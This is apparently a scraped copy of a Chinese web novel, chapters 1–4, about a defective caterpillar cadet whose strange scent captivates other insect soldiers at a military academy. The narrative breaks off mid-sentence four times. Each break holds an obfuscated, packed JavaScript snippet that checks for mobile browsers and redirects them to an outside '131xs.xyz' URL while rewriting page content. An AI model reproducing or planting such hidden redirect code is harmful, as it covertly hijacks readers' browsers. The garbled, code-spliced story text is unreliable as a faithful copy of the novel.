《毛毛虫也可以成为虫母吗》 1. 第一章 “星际新历元年，迷雾降临，吞噬蓝星十分之九的面积。” “迷雾之门会随机出现在迷雾之中，进入其中，销毁核心钥匙，就可以关闭迷雾之门，夺回蓝星的土地。” “从迷雾出现的新历元年，到新历846年，我们成功关闭所有迷雾之门，驱散掉蓝星的黑雾。” “新年1000年，我们开始探索宇宙，却发现，包括蓝星在的阿尔法星系，以及我们能探索到的宇宙边缘，全被迷雾覆盖。” “我们就此开启新的征战，到如今的新历2600年，我们已经将迷雾驱逐出四个星系，包括阿尔法星系、拉圣腓星系、爱莉希雅星系和天璇星系。” “但迷雾的侵蚀一刻不停，我们驱散迷雾的脚步也未曾停止。” 老师扶了扶镜框，三条淡褐色的细长尾须从裤腿伸出，在台上微微摆动。 这是军部强硬要求军校生进入高级军校的第一课，无论是位于阿尔法星系蓝星的中心军校，还是这所处于边缘落后星球的英玛星军校。 “老师，这个我们从小都听了八百遍了！”强壮的新生举起手，手背上是中级以上的虫族才有的虫纹，“有没有我们不知道的？” 老师并不恼火，他又习惯性地扶镜框，将全系投影画面调到下一张。 一只足有三米的类似蜜蜂的虫族，金灿的前足抓住一只畸形怪物，带着剧毒的尾钩刺入对方的体内，怪物瞬间毙命。 那个提问的新生兴奋道：“是我们蜂群中最厉害的金蜂！” 这是一只高等虫族化作原型作战的画面，只有短短两秒。 老师点头：“这是得到那位金蜂阁下的允许才保存下的珍贵画面。” 虫族作战时，血腥和暴戾是与之相随的作风，能够允许记录仪器不与敌对者一起粉身碎骨，已经算是温和的特例了。 “迷雾的降临，灭绝了很多种族，但也促使了我们虫族的诞生，我们可以在迷雾之门中生存一定时间不会被污染同化，也能够在没有任何保护措施的情况下在真空生存。” “我们虫族没有雌雄之分，只有地位和实力的高低，通常来说，等级的高低意味着实力的高低，但也不代表，低级和中级虫族会屈居高级虫族之下，军部的三军军长就是一只中级虫族。” 老师微笑：“无论等级是高还是低，与迷雾对抗，是虫族的使命，也是虫族不断壮大、征服整个宇宙的契机。” 在新生听得热血沸腾之际，老师话语一转：“当然，你们如今步入高等军校，就意味着你们已经成年，每月向繁育所捐献繁殖细胞，也是你们的义务。” 虫族没有雌雄之分，感情同样淡漠，在虫子的眼中，战斗是唯一能激起他们情绪的存在，这就代表了无法生育。 而任何一个种族，无法生育就是致命的缺陷。 好在虫族科技足够，大大小小的繁育所在各星系、各星球开设，虫族的一个繁殖细胞，就能够孕育出一只虫蛋。 也这是因此，才会有大量的虫族出生，补上与迷雾对峙的缺口，不至于灭亡。 不过繁育细胞的使用是有时间要求的。 现在繁育所用的是隔了几代以上的虫族在多年前保存的细胞，这代虫族缴纳的细胞则需要到几百年以后才会使用。 角落里，头发灰扑扑的少年支着下巴，听到这话，舔了舔饱满红润的唇，纤长的睫毛遮住一半眼睛，他的眼睛同样是不起眼的灰色。 在课堂上很活跃的强壮新生再次举手：“老师，这个说错了！一些过于弱小或者天生就有缺陷的虫子是不需要的！” 名叫洛尔南的新生扫向灰发少年，在注意到那张过于艳丽的面容时，喉头发紧，故意道：“是不是啊，利诺同学？” 洛尔南每次见到利诺时，总会浑身发麻、起鸡皮疙瘩，心跳得也很快。 他认为是因为他看不顺眼利诺这种瘦弱的低级虫子，要不然为什么他不会对别的虫子有这种反应？ 一定是因为他特别讨厌利诺！ 这下，课堂全部虫子都注意到了角落里的少年，首先注意到的，是那张漂亮至极的脸蛋。 没有审美观的虫子们此时唯一的想法居然是，他好漂亮！想抱抱！ 利诺很无语，他根本不知道怎么惹到了这只中级虫族，刚到宿舍的时候，这虫子见他第一面就冷嘲热讽加各种鄙夷的目光。 一只残缺的毛毛虫，能一路奋斗到军校，很不容易的好伐！ 忍不了一点。 利诺此时打不过洛尔南，但其他的虫子可以动，而他很擅长借助他虫的力量。 眼睛眨动，透明的水雾浮现在眼眶里，即将要落下，柔弱的少年就用这双含情目望向针对他的洛尔南。 心里却是在想，你小子等我实力上来了，不把你揍成猪头我就跟你姓！ 虽然虫族们个个脾气硬，以实力为尊，但利诺在成长途中，意外发现虫子们格外吃卖可怜这一套，至少他就是这样说服了养育院的老院长。 老院长本来不打算让他走军校这条路，而是打算把他送到非军校的幼虫专业就读。 等利诺毕业，就让他接班，在养育院照顾那些从虫蛋里破壳的幼虫。 养育院是繁育所的下属机构，负责养育那些幼虫直至成年。 老院长对利诺的安排很合理，甚至是偏爱，毕竟利诺是一只无法变成蛾子的毛毛虫。 一般来说，毛毛虫在经过一次化蛹变成飞蛾后，实力会大涨，而且大多数会变成中级虫族。 但利诺不一样，他在六岁时第一次化蛹，在老院长期待的目光下，他从蛹里爬出来，变成一只体积大了点的毛毛虫。 之后第二次、第三次到十八岁成年的第十次，在老院长越来越麻木的目光下，利诺最终成为一米长的灰色毛毛虫。 化成虫型时，只会挥舞两只短小的前肢，唧唧唧叫，除了卖萌，没半分对敌的能力。 然而利诺从小的梦想就是考上军校、进入军队征战迷雾，实力的不足让他必须加了倍的练习。 他足够努力，也足够幸运，以最后一名进了当地星球的军校。 利诺不说话，就那么泪眼婆娑地望着挑事的洛尔南。 红意从脖子蔓延到洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940042|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔南的脸，洛尔南的心跳加速调控，呼吸都变得困难起来，他捂住胸口，恶声恶气：“你看我干什么，你个废物！” 这时有其他虫族看不惯洛尔南的所作所为，直接一拍桌子站起来：“人家招你惹你了，你就这么欺负人家？” “利诺考上了军校，就代表他是有实力的！” “洛尔南是吧？别仗着你是中级虫族就不把低等级的虫子放在眼里！” “我也是中级，来打一架，你输了，向利诺同学道歉！” 众虫你一眼我一语，把利诺护在身后，大有洛尔南再多嘴就群殴他的架势。 利诺低头，面无表情地想，他现在的演技真的炉火纯青了吗？居然能让整个班的同学为他出头？ 或许他应该拍电影……可惜这里不像上辈子看过的资料那样有娱乐圈，这里的娱乐设施都是战斗！ 洛尔南说完这话心里有些后悔，但那异常的反应依旧向他表示，他非常讨厌利诺。 他才不对讨厌的虫子道歉，洛尔南冷哼了一声，油盐不进。 “你！”有虫子握拳要上来揍洛尔南，被老师阻止。 老师扬起三条尾须，肃穆道：“洛尔南同学，没有虫族是废物，请你就你刚才不恰当的发言，向利诺同学道歉。” 没等到洛尔南说话，利诺面色大变，在席卷全身的疼痛中颤抖道：“老师，我想上厕所。” 他的脸色在短短几分钟内变得极为苍白，大滴大滴的汗珠顺着脸颊从下巴滴落。 老师在发现是利诺在说话后，变得温柔，又注意到利诺的脸色，担心道：“去吧，要是不舒服，还是去医务室的好。” “谢谢老师！”利诺迫不及待从教室冲出去。 等看不到利诺的背影，老师这才转过头严厉斥责洛尔南：“你必须道歉。” 洛尔南垂头丧气：“知道了老师。” 他的眼睛却盯着一小片打湿的地面，那是刚才利诺的汗水。 他是蜂群中最接近高等虫族的黄蜂，无论是实力还是五感，都比一般的中等虫族更加强大。 在场的虫子，也只有他闻到了那股从利诺身上传来的、极其微小的味道。 洛尔南的喉结滚动，香甜的气息在诱惑他，想让他不顾形象地跪趴下，用粗糙的舌头将那些从利诺下巴滑落的汗水舔舐干净。 收敛在背部的翅根在发烫，想分泌，想要喂食…… 喂什么？洛尔南恍惚一瞬，他的膜质翅从肩胛骨生长出来，为虫族专门设置的衣物自动让翅膀从缝隙中钻出来。 洛尔南：“老师，我翅膀脏了，要去厕所！” 老师注意到中等虫族那双翅膀上正沿着翅膀缓慢流淌的液体，很理解地点头：“可以。” 所有虫族，无论是作为武器的翅膀还是已经退化的翅膀，都会定期在翅根分泌金黄的液体。 但是，这液体并没有任何用处，没有虫子会喝，而且喝了也不会提高实力，反而还会弄脏衣服，被称作废液。 有一小部分虫子懒得定期清理翅膀，就会做手术去掉翅根处分泌废液的器官。 2. 第二章 厕所的隔间内，利诺蜷缩起来，发出压抑的痛吟。 利诺从来就不是很正常的虫族，比如他始终无法蜕变成飞蛾，又比如他的意识海里有一棵奇形怪状的幼苗。 意识海是每只虫族重要的力量源泉，是虫族用来战斗的重要根本。 只要意识海够宽阔，虫族就可以永远不知疲劳地战斗和征服，利诺还听说，有一些高级虫族会通过意识海凝聚出武器和虫型分身来提高战斗力。 意识海本是干净澄澈的虚无，只会在中央有一轮黯淡的弯月。 然而利诺的意识海从小就没有那轮弯月，属于弯月的位置上只有一棵幼苗。 随着利诺的不断吐丝结茧，血红色的幼苗也在不断生长，从最初的两个小叶子到现在约莫一米五的高度。 树干盘曲，枝叶繁茂，在第十次破茧后更从叶子间冒出十来颗果子。 果子很小，是类似虫卵的莹白色，但一直是营养不良的状态，有种即将枯萎的趋势。 而最近，他更加不对劲了。 他的肩胛骨会不定期地作痛，像是撕裂了一般，滚烫难受； 他的食欲越来越无法满足，无论他吃再多的食物，都缓解不了这种饥饿。 如果不是他因为那些严苛的体能训练而提高了对疼痛的阈值，恐怕早就疯了。 老院长在得知后，也带利诺去过医院。 可最先进的仪器也检查不出来利诺的情况，医生只能推测是因为他天生缺陷、无法破茧成飞蛾。 利诺认为也有可能是因为他不是纯粹的虫族，因为他破壳时带着上辈子在末世杀丧尸打变异兽的记忆。 好在这种折磨除了始终无法缓解的饥饿外，只会持续几分钟，利诺还能忍受。 在后背的疼痛消失后，利诺长呼一口气，将被汗水濡湿的发丝拨开，感受到汗水黏腻的衣服，他皱起眉。 利诺从隔间出来，正对上长出翅膀的洛尔南。 洛尔南正背对着他，泛着淡淡金色的翅膀垂落在洗手台上，哗哗的清水不断冲洗掉从翅根分泌出的金黄液体。 利诺被那金黄的液体吸引了，他小幅度地，咽了下口水。 他接受了良好且完整的虫族教育，自然知道那是被所有虫子都嫌弃的废液。 这是利诺第一次见到废液，他是个毛毛虫，没有翅膀，不会分泌出废液，而且在虫族看来，分泌废液是丢虫的表现，他们即使不做切除手术，也会倾向在私密空间清理。 “咕咚——” 灰色的眼瞳焊在洛尔南的翅根处，利诺又咽了一口口水，他没想到原来废液闻起来这么香，比他喜欢吃的蜂蜜还要香。 废液是垃圾，废液是垃圾，废液是垃圾……利诺以强大的定力移开对黄蜂的垂涎，不断内心循环课本上对废液的评价。 而且更重要的是，他不能够扒着一只讨厌他的虫子的翅膀吃废液！ 利诺经过洛尔南的身边，从厕所出来。 错身之际，洛尔南拉住了利诺的手腕：“等等！” 在利诺看到洛尔南之前，这只黄蜂就闻到了从隔间里传来的、属于灰色毛虫的味道，因为流了很多汗，味道更加浓郁。 不是香水的味道，也不是运动后的汗臭味，是一种特殊的、他闻到就会有各种陌生反应的味道。 稍微冷静的年轻虫族再次陷入莫名的情绪之中，翅根上的废液也分泌得更多更快，洛尔南只好先清洗不听话的翅膀。 在“看不顺眼”的同学面前做清洗废液这种隐私的事情，洛尔南的自尊多多少少要挂不住，他只能当做不注意。 可是他应该道歉的。 洛尔南知道自己不能够因为讨厌同学兼舍友，就针对利诺，甚至用“废物”这个堪称恶毒的词汇侮辱利诺。 在实力为尊的虫族，你可以骂其他的虫子不要脸、丑陋，但是不能骂他们废物，被骂做废物的虫子九成九会找你打架，不死不休的那种。 洛尔南不是性格低劣的虫族，那种性格存在缺陷的虫子比起身体缺陷的虫子来说更加不被虫族容忍，会在孵化中被检测出来并集中销毁。 他还是拉住了利诺，他应该道歉，并且保证以后不会再针对利诺。 然而，碰触到利诺手腕时，一串电流从洛尔南的指尖升起。 心脏怦怦乱跳和酥麻的无措再次搅乱了洛尔南的大脑，粗糙的手指忍不住摸索细腻温润的皮肤，黄蜂惊讶：“你从来没训练过吗？为什么这么软这么细？” “你也很白，是不是没被太阳晒过？” 准确说，洛尔南没有任何拉踩利诺的想法，他就是很疑惑，再加上大脑因为摸到利诺而乱成麻绳和那浓郁味道的冲击导致丧失了思考能力。 只是在利诺听来，就是明摆着讨厌他的同学在阴阳怪气。 利诺两辈子都生活在以拳头为大的世界里，这种询问就是在明摆着说他利诺是个柔弱的小可怜。 新仇旧恨齐齐涌上来，这还能忍的话，利诺就是带有贬义意思的圣父了。 利诺绽放出一个灿烂的笑脸：“你想知道吗？” 洛尔南被那笑容迷得晕头转向，连连点头，橙黄的眼珠内因为主人的情绪起伏而无意识地迅速分裂，只要仔细看，就会发现眼珠内全是密密麻麻的小眼。 利诺勾勾手：“你低头靠近，我偷偷告诉你。” 一点隐秘的窃喜浮现在单纯黄蜂的嘴角。 尽管洛尔南不知道他为什么窃喜，但表现得乖顺听话极了，他连忙低头，为了和利诺处于同一水平线，还尽力弯下腰，略显滑稽。 离得近了，洛尔南闻到的味道更加醇香，翅根又在不受控制地分泌废液。 他的喉结发出一串咕噜的奇异音节，才艰难说出虫族的语言：“可以告诉我了吗？” “可以你个……虫！” 利诺微笑，一拳头砸到洛尔南英俊的脸蛋上。 他看起来一小只，但身为强悍的虫族，力气就不可能会很小，更何况他还经受过专业的体能格斗训练。 毫无防备的洛尔南被瘦小的毛毛虫撂倒了，耳朵嗡嗡着倒在地上。 在昏迷前，黄蜂看到了得意的利诺，灰发少年笑得很漂亮。 他满腔的不解和怒火瞬间消失，最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940043|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一秒，他甚至觉得，要是利诺打他一下会这么开心，那多打他也可以…… 他竟然会有这么可怕的想法！但要是对象是利诺……似乎也不是不可以？ 可怜的黄蜂很不体面地晕倒了，没来及收回的翅膀凌乱扭曲，极其别扭地躺在洗手台前的地面上。 利诺又上去补了两脚，将干净整洁的服装踩上几个脚印，才堪堪解气。 他没急着离开，而是慢条斯理地脱下衣服，从脖子间挂着的空间挂坠掏出一套崭新的衣物和快捷清洗水，迈入隔间。 可能是上辈子待在丧尸堆久了，这辈子有了条件，利诺非常注重保持自身的干净。 要不是弄脏洛尔南的衣服，他都差点忘记他还有枚空间吊坠。 老院长知道他爱干净，特地送了他一枚昂贵的空间挂坠当做进入军校的礼物，空间不大，却足够放几套干净的衣服以及清洗剂。 清洗剂可以简单充当沐浴的工具，方便快捷，就是不如用水洗澡洗得干净。 利诺心清气爽走出厕所间，顺便将维修中的告示牌摆在门口。 不是他怕黄蜂醒来会因为其他同学的围观而破防地要和他生死斗，单纯是由于他是只乐于助人的毛毛虫！ 揍一顿、说说坏话就好了，不至于要折断高傲黄蜂的尊严。 回到教室，利诺打了声报告，老师微笑着让他进来了，然后问：“和洛尔南同学遇到了吗？” 利诺咬唇，略带几分忧愁和无助：“老师，没关系的，虽然我被洛尔南同学欺负了，但是他不是故意的，我不会怪他的。” 他没有撒谎，洛尔南一直在以言语的行为欺负他，他只不过隐瞒了他把洛尔南揍晕这件事。 老师扬起三条尾须：“他没向你道歉吗？” 利诺不安地摇头。 “乖孩子，回去吧。”老师温柔道，“我会为你讨回公道的，我们虫族是一个团结的种族，每一只虫都是重要的成员，这种欺凌事件绝对不会被允许发生！” 利诺的眼泪收放自如：“谢谢老师，以后我一定好好努力，争取取得优异的成绩。” “我相信你！”老师欣慰点头。 洛尔南一直到下课都没有回来，老师明显更加生气，直接记成了旷课，反复告知班长一定要洛尔南来办公室认罚，临走前还记得和利诺说如果遇到其他问题也可以来找他。 利诺笑着点头，和老师说了再见。 洛尔南是只好虫，利诺改变了对洛尔南的看法。 他虽然被洛尔南针对，可是却得到了这位老师的好感。 据小道消息，这位老师是来自蓝星的中等虫族，原型是一只罕见的变异衣鱼。 他本身不是老师，而是来这里旅游的蓝星最高军部的军官。 他不仅知识渊博，藏书众多，而且实力不低，关闭了上百扇迷雾之门，是只虫族大佬。 利诺不知道他为什么会同意在边缘星球教一学期的课，也不好奇原因，他看中了老师的资源。 要是能够借来老师的几本书看看，或者接受老师关于战斗方面的指导，肯定很有益处。 3. 第三章 利诺的野心从来就不少，即使是低级虫族，他的目标始终是蓝星的最高军部，加入到征伐迷雾之门的核心虫群中。 能在末世里的环境里顺利长大，而且在基地地位不低、生活较为滋润，原因之一就是利诺在杀丧尸、寻找物资时敢拼命，他不惧怕一切危险，只想往上爬，爬到可以让他生活舒适的位置。 军部就是那个能够让利诺活得舒服的地方。 虫族的政权比较特别，准确来说，即使现在的虫族在星际的领地不小，但它不是一个真正的国家，没有首都、没有当权者。 虫族是一个无主松散、但又因为迷雾的威胁而暂时团结在一起的族群，如果非要说出一个领导者，那就只能是吸纳顶尖虫族战力、关闭迷雾之门的军部。 而最核心的军部就位于在蓝星上，各个星球的军部全都由其调遣，但各个星球的军部也不是完全听从最高军部，它们有对各自星球的领导统辖权。 洛尔南一上午都没有回来，利诺并不在意，甚至自始至终都没有往空着的位置瞥上一眼。 他一边认真听课做笔记，一边想着要怎么刷衣鱼大佬的好感，为自己之后进入军部增添筹码。 灰扑扑的头发遮住沉思的脸，直到一只生长虫纹的手搭在利诺的桌子边沿。 利诺仰头，极其艳丽的五官让普通的灰发灰眸都增添上几丝亮色。 是洛尔南，金发健壮的虫族抿唇，眼神复杂地看着利诺。 利诺打的那拳不会让洛尔南昏迷太久，或者说，如果不是洛尔南没有防备，他根本不会被打昏。 他从厕所里扶着头出来，就撞见下课的衣鱼老师，被其带着回办公室一番训斥，又让他下午的实践课程任务翻倍。 洛尔南的身体素质很强，毕竟是最接近高级虫族的黄蜂，那些严苛的训练项目就算翻个几倍他也不觉得有什么。 他一直在想利诺。 利诺真好看，利诺好香，利诺打了他一拳后还会生气吗？要是还气，大不了他把脸凑过去让利诺再揍一顿…… 高傲的蜂族当着其他老师的面，被衣鱼老师毫不留情地训斥，丝毫不觉得难堪，只是低着头，满心满眼都是利诺的身影。 他好像坏掉了，被利诺给打坏，变成了一只只知道想利诺的傻虫子。 偏偏虫族内不存在感情，洛尔南根本想不出来他的异常是为什么，只是初步意识到，他应该不是讨厌利诺。 但更深一步的，只明白如何提升实力的洛尔南就不知道了。 想不明白，也不妨碍洛尔南一从老师办公室出来进入教室，在看到低头认真思索的利诺时喉结又开始滚动，洗干净的翅膀又开始发烫，险些克制不住地再次分泌无用的液体。 他搭在了利诺的桌子上，用着生疏的姿势，吸引灰发毛虫的注意。 然而灰发毛虫以为洛尔南是来找茬的。 利诺习惯在打不过的强大虫子面前装可怜和柔弱，这是他生存的技巧之一。 漂亮毛虫的眼睫毛不安地眨动，仿佛缠上猎物的丝线因为猎物的挣扎而颤抖，柔弱又存在致命的吸引。 利诺不知道，洛尔南就是被他的丝线缠住的猎物，还以为洛尔南是来打他的。 他的声音颤抖：“洛尔南同学，你、你要做什么？” 心里盘算，当着那么多同学的面，洛尔南总不至于恼羞成怒，要暴打他吧？ 不就是因为嘴臭被打了一拳吗，虫子要勇于为自己的过错负责……利诺暗暗撇嘴，觉得洛尔南这黄蜂不行，小学的思想道德课都白上了吗？ 一些富有正义感的虫子看不得小灰毛虫被欺负，站了出来：“学校有明文规定不许欺凌同族，你要是想打架，我去决斗场和你打一架，总之不可以欺负利诺同学！” 刚进入军校的虫们大多年轻气，个别还因为族群问题而脾气暴躁。 为了不让他们彼此因为一点摩擦就打得两败俱伤或者闹出虫命，每所军校都会设立决斗场，允许虫族在决斗场以不至对方以死地的前提下解决矛盾。 决斗场边上医务部随时待命，大大减少虫族非自然死亡的概率。 在没有生育能力的虫群内，每一只虫子都是耗费了无数财力和精力才孕育出的、用于种族延续和驱散迷雾的优秀存在。 洛尔南听不到其他虫子的警告和劝诫，而是直直盯着利诺，声音干涩地询问：“你的手疼吗？” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940044|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？”利诺都做好和洛尔南一起上决斗场的准备了，结果洛尔南这突兀的一句询问让他的脑子没有转过弯。 洛尔南弯下腰，双手搭在桌面上，拉进和利诺的距离后再次问：“打我的手疼吗？” 他真诚地补充：“我可以给你吹一吹。” 也可以舔一舔。 如果疼的时间长，他还可以照顾利诺，喂他吃饭、帮他洗澡，上厕所也可以帮忙脱裤子扶着…… 好在洛尔南的智商没有被利诺完全打成负数，他还记得除了利诺，还有其他的虫子正在警惕防备他。 如果利诺在正常的人类社会长大，或许会察觉到洛尔南话里存在的暧昧意味。 可惜利诺不是，他脑子里没有情爱这根筋，他皱起眉，冷冰冰地反问：“你在挑衅我？” 说他手疼，那不就等于挖苦他过于柔弱，连揍他一拳都承受不住吗？ 就算两辈子加起来，身高也没一米八，肌肉难练出来，利诺对自己的评价是不那么猛的猛男一枚。 猛男不会接受来自他人（虫）的轻视！ 利诺冷哼一声，可怜装不下去，瞪了洛尔南一眼，从桌子上站起来。 等着吧，迟早有一天，他会把这个自大狂给狠狠揍一顿！ 利诺从口袋里顺出来一支营养液，叼在嘴里，生着闷气，像是一头皱巴巴的小奶狮，恨不得仰天嗷呜一声，表示自己并不是弱鸡。 空着的手隔着校服捏捏肚子，很软，一点都没有肌肉的紧致，利诺整只虫丧起来。 大概是因为原型是只有一米多的毛毛虫，维持人型时他没有肌肉、身高也不高。 好过分，老天爷敢不敢给他一副两米身高、肌肉虬结的壮汉身体！ 算了，纠结这个也没用，还不如趁着下午的实训没开始前，早点去场地占个好位置，提前训练起来。 笨鸟先飞！他要卷起来！ 毛虫迈动纤长的腿，将吃光的营养袋丢到垃圾桶内，朝训练场走去。 教室中，洛尔南无措，迟疑很久没有跟上去，很显然利诺又生气了，还是他惹出来的…… 可是为什么？他又说错什么了？他想讨好利诺，让利诺不生气的…… 4. 第四章 在大多数高等军校中，上午是文化课，下午和晚上则是实践训练。 文化课传授虫子们关闭迷雾之门的方法和窍门，实践课则提高虫子们各方面的身体素质，使其具备关闭迷雾之门的实力。 利诺喘着气，在操场上跑圈，他的体能比起其他的低级虫族来说更差，因此需要付出更多的汗水。 在虫族，跑二十圈只是热身，利诺坚持跑完，浑身的汗水已经打湿了运动衣。 他低头看表，露出一个满意的笑来，比上次跑步花费的时间更短，他又进步了！ 阴影遮蔽，散发着凉气的水送到利诺的面前。 声音带着天生的冷意：“我想你需要喝些水。” 利诺疑惑抬头，顶着人造恒星的光眯起眼，来人是个将黑色长发梳成高马尾的年轻虫族，白色的虫纹从一侧的耳朵蔓延至脖颈。 他认识这只虫族，准确说，利诺从新闻上看到过年轻虫族的照片和相关事迹。 希尔维乌斯，骷翼飞蛾，蛾群中的高级虫族，刚从高等军校毕业，加入了蓝星最高军部的第一军团，只要不出意外，就是第一军团的下一任军长。 不过这只虫子不去关闭迷雾之门，怎么来他们这种贫穷又落后的边缘星球来了？ 难道是他们英玛星附近的迷雾产生了异动？ 不管内心怎么猜测，利诺接过泛着凉意的冰水，坠着唇珠的红唇扬起乖巧感激的笑容：“谢谢您，长官，我正好想喝水了。” 希尔维乌斯喉结滚动，嗓音沙哑，清清冷冷的脸扭曲：“你身上，好香。” 他的鼻尖轻嗅，贪婪地将从利诺身上散发的味道截取、吸收。 但不够，虫族基因内的本能在滋长，纵使希尔维乌斯都不知道这个本能是什么。 洁白的、巨大的羽翼在身后张开，形似骷髅的花纹在羽翼上对称分布。 一边的羽翼弯过来，羽翼尖对准利诺，角度倾斜，泛着金黄的液体从翅根分泌，顺着翅膀的纹路往尖端处流淌，最终陷入尖端的凹槽处，那是用来短暂储存废液的部位。 利诺的肚子在饥饿的抗议，特别是闻到属于高级虫族分泌的液体，味道比起洛尔南的似乎更香。 是任何昂贵少见的蜂蜜都比不了的存在。 希尔维乌斯无法移开停留在利诺身上的视线，陌生的情绪从寡淡冷漠的情感里跳脱。 他比利诺高了太多，本来没觉得有什么，却在看到利诺费力地仰视时，开始自责。 希尔维乌斯想，他怎么配让可爱又漂亮的小虫族仰视？ 于是他单膝跪下来，翅翼尖距离利诺更近，那废液的甜蜜铺面而来。 强大冷漠的高等虫族俯首，遵从本心，以谦卑的口吻道：“请您享用我。” 希尔维乌斯觉得自己疯了，他居然会在大庭广众之下对着一只低等虫族跪下，还无视脸面分泌废液，让这只可怜无辜的虫族吃。 谁都知道，那只是废液，里面营养丰富，却是虫族无法消化吸收的营养。 要另外一只虫子吃废液，简直是对那只虫子的耻辱。 可希尔维乌斯还是这么做了，是本能，也是内心的真实想法。 高等虫族谦卑地垂头，藏住无尽的痴迷和沸腾的心跳。 利诺在希尔维乌斯跪下来把白翅往他嘴边塞时就完全清醒过来，他猛地后退，脸色大骇。 疯了！他怎么又想吃其他虫子的废液？那是好玩意吗！那是垃圾！ 他利诺，就算饿死，从教学楼上跳下来，也不会吃其他虫子的废液！ 冰水丢在地上，利诺脸色难看：“长官，请自重。” 不止他疯了，希尔维乌斯更是大疯特疯！ 希尔维乌斯保持单膝跪着的姿势，往利诺的方向挪动，在利诺浓郁的味道下几乎痴狂：“请您享用我，请您吃掉我，求您。” “……”利诺暗骂希尔维乌斯是个神经病，然后迅速就着手腕上的腕表，拨通老师的联络链接求救。 发送消息后，利诺才松了口气，往周围看去，他发现他被围观了。 虽然实训时间还没到，但也有一些和利诺差不多、相信勤能补拙的虫子过来提前热身，此时他们正在看……他？ 那些低级或者中级虫族并不关注在地上阴暗爬行、迫切喂食废液的希尔维乌斯，反而用那变形的、属于虫族的复眼愣愣地盯着利诺。 利诺听到一些虫子小声喃喃：“什么味道，好香……” “是从灰头发虫族身上传来的……” “是最新的香水吗？不像，好香，我翅膀上的废液都要流出来了……” 利诺自我怀疑，莫非他今天真染了什么味，提起衣领嗅闻，茫然摇头，什么味道都没啊？ “你做什么？”一道暴躁的声音打破略有些诡异的画面。 洛尔南黑沉着脸大步走过来，将宽大的、喷洒着香水的袍子盖在了利诺的身上。 他就知道会这样，虽然目前尚不清楚利诺为什么会有这味道，但洛尔南提前做了个准备，就怕利诺出汗味道变浓郁，让其他低等和中等虫子也闻到。 出于某种独占的心理，洛尔南不希望有除他以外的虫族闻到利诺的味道。 浓郁的味道还没有成熟，堪堪遮住，却还是顽强地从味道刺鼻的香水中露出一丝。 但好在，不会再影响其他的虫子，包括受到影响最大的希尔维乌斯。 希尔维乌斯的眼神恢复清明，他站起来，羽翼垂落：“抱歉，我会补偿你。” 但即便如此，高等虫族的视线还是黏在利诺身上，舍不得离开。 洛尔南抵触对面的高等虫族：“不需要，你离他远一点就行！” 希尔维乌斯直视利诺，完全没听到洛尔南的不满：“我是希尔维乌斯，可以知道你的名字吗？” “不用你知道，大名鼎鼎的未来军长，我们还只是学生。”洛尔南遮挡住瘦小的利诺，横抱胳膊。 希尔维乌斯冰冷：“你是他的谁？有资格替他拒绝？” 高等虫族的脾气普遍不好，他们的意识海更大，但也提高了紊乱和崩塌的风险。 希尔维乌斯的话戳重了洛尔南的痛脚，他和利诺虽然是舍友和同学，但此时在利诺看来，他估计只是个关系不好的仇虫。 洛尔南跳起来：“跟你没关系！” 至于利诺，他摸着肚子，看看洛尔南的后背，又看看希尔维乌斯还没有收回去、沾满废液的翅膀。 小毛毛虫委屈死了，特别想揍自己一拳，他怎么能对废液那么渴望！ 希尔维乌斯还要说话，衣鱼匆匆赶过来，顾不上歪斜的眼镜：“先跟我来办公室，希尔维乌斯，利诺同学和洛尔南同学。” 十分钟后，清理干净的希尔维乌斯重归一开始的冰山大佬形象，坐在衣鱼的对面：“拉斐尔，我找你有事。” 衣鱼老师微笑：“首先，你得和利诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940045|177316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同学道歉，利诺吓坏了。” 被“吓坏”的利诺坐在一边，听到拉斐尔老师叫自己的名字，反射性站起来：“老师？” 拉斐尔安抚道：“利诺同学，你先坐下。” 利诺哦了一声，坐下来，他身上还披着洛尔南的袍子，把自己裹得死死的。 他也意识到了不对。 洛尔南如同最忠诚的骑士，护在利诺的身边，时不时警惕加敌意地瞪希尔维乌斯一眼。 